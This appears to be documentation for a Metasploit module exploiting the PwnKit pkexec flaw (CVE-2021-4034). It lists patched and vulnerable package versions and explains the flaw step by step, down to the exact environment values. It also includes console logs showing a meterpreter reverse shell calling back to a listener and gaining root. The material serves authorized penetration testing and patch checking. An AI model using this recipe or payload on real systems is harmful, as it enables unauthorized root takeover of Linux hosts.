The check
method uses the exploit without a payload. Vulnerable versions of pkexec
give the error that the shell was not in the shells folder if you pass in the exploit
without a payload to execute. Patched versions exit and give the help
output if executed
with no arguments.
First Patched Ubuntu packages:
- 20.04: 0.105-26ubuntu1.2
- 21.10: 0.105-31ubuntu0.1
- 18.04: 0.105-20ubuntu0.18.04.6
Source: https://github.com/cyberark/PwnKit-Hunter/blob/main/CVE-2021-4034_Finder.py
First Patched Debian Packages:
- stretch: 0.105-18+deb9u2
- buster: 0.105-25+deb10u1
- bullseye: 0.105-31+deb11u1
Source: https://github.com/cyberark/PwnKit-Hunter/blob/main/CVE-2021-4034_Finder.py
Vulnerable CentOS Packages:
- polkit-0.112-5.ael7b
- polkit-0.112-13.p1.el7a
- polkit-0.96-2.el6
- polkit-0.96-2.el6_0.1
- polkit-0.96-5.el6_4
- polkit-0.96-7.el6
- polkit-0.96-7.el6_6.1
- polkit-0.96-11.el6
- polkit-0.96-11.el6_10.1
- polkit-0.112-1.el7
- polkit-0.112-5.el7
- polkit-0.112-6.el7_2
- polkit-0.112-7.el7_2.2
- polkit-0.112-7.el7_2.3
- polkit-0.112-7.el7_2
- polkit-0.112-9.el7
- polkit-0.112-11.el7_3
- polkit-0.112-12.el7_3
- polkit-0.112-12.el7_4.1
- polkit-0.112-14.el7
- polkit-0.112-14.el7_5.1
- polkit-0.112-17.el7
- polkit-0.112-18.el7
- polkit-0.112-18.el7_6.1
- polkit-0.112-18.el7_6.2
- polkit-0.112-22.el7
- polkit-0.112-22.el7_7.1
- polkit-0.112-26.el7
- polkit-0.115-6.el8
- polkit-0.115-9.el8
- polkit-0.115-9.el8_1.1
- polkit-0.115-11.el8
- polkit-0.115-11.el8_2.1
- polkit-0.115-11.el8_3.2
- polkit-0.115-11.el8_4.1
- polkit-0.115-12.el8
Source: https://www.ramanean.com/script-to-detect-polkit-vulnerability-in-redhat-linux-systems-pwnkit/
Fedora should be vulnerable, and the pkexec binary will respond like it is vulnerable, but the exploit will fail. I don't know why, but it still fails with SELinux disabled or using the original PoCs that compiled a binary on target. The check method just bails if it sees Fedora.
msf6 payload(linux/x64/meterpreter/reverse_tcp) > sessions -i -1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : localhost.localdomain
OS : Fedora 33 (Linux 5.8.15-301.fc33.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > getuid
Server username: msfuser
meterpreter > shell
Process 2396 created.
Channel 5 created.
sestatus
SELinux status: disabled
exit
meterpreter > background
[*] Backgrounding session 1...
msf6 payload(linux/x64/meterpreter/reverse_tcp) > use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 1
session => 1
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set verbose true
verbose => true
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set auto
set autocheck set autorunscript set autounhookprocess
set autoloadstdapi set autosysteminfo set autoverifysessiontimeout
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set autoCheck false
autoCheck => false
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > check
[!] SESSION may not be compatible with this module:
[!] * missing Meterpreter features: stdapi_railgun_api
[*] Checking for pkexec
[*] Checking for /usr/bin/pkexec
[*] Found pkexec here: /usr/bin/pkexec
[*] Found pkexec version 0.117
[*] The target is not exploitable. Fedora is not supported
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
[!] SESSION may not be compatible with this module:
[!] * missing Meterpreter features: stdapi_railgun_api
[*] Started reverse TCP handler on 10.5.135.101:4444
[!] AutoCheck is disabled, proceeding with exploitation
[*] Checking for pkexec
[*] Checking for /usr/bin/pkexec
[*] Found pkexec here: /usr/bin/pkexec
[*] Creating directory /tmp/.wqogdpzub
[*] /tmp/.wqogdpzub created
[*] Writing '/tmp/.wqogdpzub/kfmlrhrqi/kfmlrhrqi.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.wqogdpzub
[*] Running python /tmp/.wqogdpzub/.skihoukdb /usr/bin/pkexec /tmp/.wqogdpzub/kfmlrhrqi/kfmlrhrqi.so kfmlrhrqi jdtnqzvqn
[*] GLib: Cannot convert message: Could not open converter from “UTF-8” to “jdtnqzvqn”
The value for the SHELL variable was not found the /etc/shells file
This incident has been reported.
[*] Exploit completed, but no session was created.
Untested on Redhat, but I assume similar to Fedora.
Polkit's pkexec binary is a bit like sudo in that it allows users to run an application as another user.
For instance, when you run something like pkexec ls
you'll be prompted for the root user's password.
Because it allows elevated launching of programs, pkexec runs as root.
Processes that run like this are considered special and are run in a Secure-execution mode, which causes
the dynamic linker (ld.so) to strip out problematic environment variables that could introduce security
concerns. One of these "untrusted" environment variables stripped out by the linker is GCONV_PATH
, which
sets the location for text conversion libraries. If a binary needs to convert a text string to a different
encoding, it will load/execute the library specified by GCONV_PATH
.
For example, if we could get pkexec to run with the environment string GCONV_PATH=./exploit
, pkexec would
load and execute the exploit as root if we were able to coerce the binary to use an unknown charset. This
is why the dynamic linker prevents such an environment variable from being passed into secure-execution mode
binaries.
The check to prevent GCONV_PATH
environment variables is done when a program loads, so if we can modify
the environment variables after the program loads, we could add it, but as the process runs as root, we
could not change those values ourselves.
This is where the logic flaw in pkexec can be abused. pkexec runs through each argument it is passed and
calls g_find_program_in_path
which takes a filename and replaces the filename with the full path to the
file, according to its PATH
environment. Since there can be multiple binaries, this is done within a
loop. The specific bug in pkexec is that the loop will always run at least once, even if the number of
arguments is 0.
If the number of arguments is 0, then it will still attempt to resolve the element it pulls from memory
at the location the first argument would have been located. Because of how the stack is structured,
environment variables are located right after argument values in memory, so if there are no argument values,
then the environment values are there. The exploit works by coercing g_find_program_in_path
into
writing GCONV_PATH=./exploit
into the first slot in the environment list.
We can do this by creating a folder in the PATH
called GCONV_PATH=.
and within that folder, place a
file named abc
. We also add the directory GCONV_PATH
to the PATH
environment variable. Now, when
we launch pkexec without any arguments, but with abc
as the first environment variable and PATH=GCONV_PATH=
as the second, g_find_program_in_path
will look for abc
in the folder GCONV_PATH=.
and find it.
It will then overwrite the first environment variable with the full path to the file as it exists in
our PATH: GCONV_PATH=./abc
or exactly what we'd like to have as our environment variable.
Now, if we can coerce pkexec to use an unknown charset, it will load the library ./abc.so
which we'll make
the name of our payload.
We can coerce the loading of the .so by adding another environment variable declaring some unknown
charset: CHARSET=garbage
would work fine if we could get pkexec to need to write a log. We can
get it to write a log by giving a bad value for something it depends on. In our case, we're using
the SHELL
environment variable.
So, to sum up, if we give pkexec a bad value for the SHELL
environment variable and an unknown charset
to encode, it will load the .so file specified by GCONV_PATH
and run it as root in an attempt to
encode to the unknown charset.
To break it down, we need to place a .so payload binary in our current working directory called
abc.so
and call pkexec with no arguments and the environment values:
abc
PATH=GCONV_PATH=.
SHELL=/garbage
CHARSET=garbage
Once g_find_program_in_path
runs, the environment variables will be changed to:
GCONV_PATH=./abc.so
PATH=GCONV_PATH=.
SHELL=/garbage
CHARSET=garbage
The result will be that pkexec errors while trying to encode test to the non-existent charset, causing it to load the provided abc.so file in the root context.
- Start
msfconsole
- Get a non-root shell/meterpreter
- use
exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
- set SESSION
<session-id>
- set LHOST
<lhost-IP>
run
This indicates the location where you would like the payload and exploit stored, as well
as serving as a location to store the various files and directories created by the exploit itself.
The default value is /tmp
This indicates the location of the pkexec
binary. Normally, the module can find the it without help.
It defaults to nil.
This indicates the starting directory for the new root-enabled session. The module deletes the working directory
out from under the running payload, so the current working directory for the new session will not exist, and that
can result in odd errors, so we just change to a directory that does exist before user interaction.
It defaults to /
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > show options
Module options (exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec):
Name Current Setting Required Description
---- --------------- -------- -----------
PKEXEC_PATH no The path to pkexec binary
SESSION 1 yes The session to run this module on
WRITABLE_DIR /tmp yes A directory where we can write files
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.5.135.101 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 x86_64
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
[!] SESSION may not be compatible with this module:
[!] * missing Meterpreter features: stdapi_railgun_api
[*] Started reverse TCP handler on 10.5.135.101:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking for pkexec
[*] Checking for /usr/bin/pkexec
[*] Found pkexec here: /usr/bin/pkexec
[*] Found pkexec version 0.105
[*] Determined host os is Ubuntu
[*] Polkit package version = 0.105-26ubuntu1
[*] Checking for pkexec
[*] Checking for /usr/bin/pkexec
[*] Found pkexec here: /usr/bin/pkexec
[*] Creating directory /tmp/.pacfbr
[*] /tmp/.pacfbr created
[!] Verify cleanup of /tmp/.pacfbr
[*] Running python3 /tmp/.pacfbr/.jxkiwyj /usr/bin/pkexec /tmp/.pacfbr/khmtpqj/khmtpqj.so khmtpqj mbbidsfl
[*] GLib: Cannot convert message: Could not open converter from “UTF-8” to “mbbidsfl”
The value for the SHELL variable was not found the /etc/shells file
This incident has been reported.
[+] The target is vulnerable.
[*] Checking for pkexec
[*] Checking for /usr/bin/pkexec
[*] Found pkexec here: /usr/bin/pkexec
[*] Creating directory /tmp/.lukbdme
[*] /tmp/.lukbdme created
[*] Writing '/tmp/.lukbdme/rnaxcz/rnaxcz.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.lukbdme
[*] Running python3 /tmp/.lukbdme/.iwksanwva /usr/bin/pkexec /tmp/.lukbdme/rnaxcz/rnaxcz.so rnaxcz jnagcbkqds
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3012548 bytes) to 10.5.132.107
[+] Deleted /tmp/.lukbdme/rnaxcz/rnaxcz.so
[+] Deleted /tmp/.lukbdme/.iwksanwva
[!] Attempting to delete working directory /tmp/.lukbdme
[!] Attempting to delete working directory /tmp/.lukbdme
[*] Meterpreter session 3 opened (10.5.135.101:4444 -> 10.5.132.107:54758 ) at 2022-03-01 14:40:18 -0600
meterpreter > sysinfo
Computer : 10.5.132.107
OS : Ubuntu 20.04 (Linux 5.4.0-42-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > getuid
Server username: root
meterpreter > pwd
/
meterpreter >
Reference: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt